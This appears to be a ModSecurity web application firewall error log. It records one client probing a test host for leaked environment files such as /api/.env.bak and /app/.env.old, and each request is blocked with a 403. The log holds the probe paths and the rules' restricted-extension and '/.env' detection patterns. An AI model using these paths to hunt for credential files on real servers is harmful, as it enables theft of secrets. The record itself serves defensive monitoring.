[Thu Oct 30 20:08:03.892112 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aQO3k0IRheG_olLGGo-ltgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:04.433505 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3lEIRheG_olLGGo-ltwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:04.433728 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3lEIRheG_olLGGo-ltwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:04.434034 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3lEIRheG_olLGGo-ltwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:04.434261 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aQO3lEIRheG_olLGGo-ltwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.052999 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.053270 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.053473 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.594840 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.595092 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:05.595284 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aQO3lUIRheG_olLGGo-luQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.122573 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-lugAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.122797 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-lugAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.123101 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-lugAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.123318 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-lugAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.660147 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-luwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.660343 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-luwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.661247 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-luwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:06.661475 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aQO3lkIRheG_olLGGo-luwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.293019 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.293287 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.293481 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.899779 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.900061 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:07.900291 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aQO3l0IRheG_olLGGo-lvQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:08.439280 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3mEIRheG_olLGGo-lvgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:08.439495 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3mEIRheG_olLGGo-lvgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:08.439792 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3mEIRheG_olLGGo-lvgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:08.440020 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aQO3mEIRheG_olLGGo-lvgAAAAI&quot;], referer: https://www.google.com/
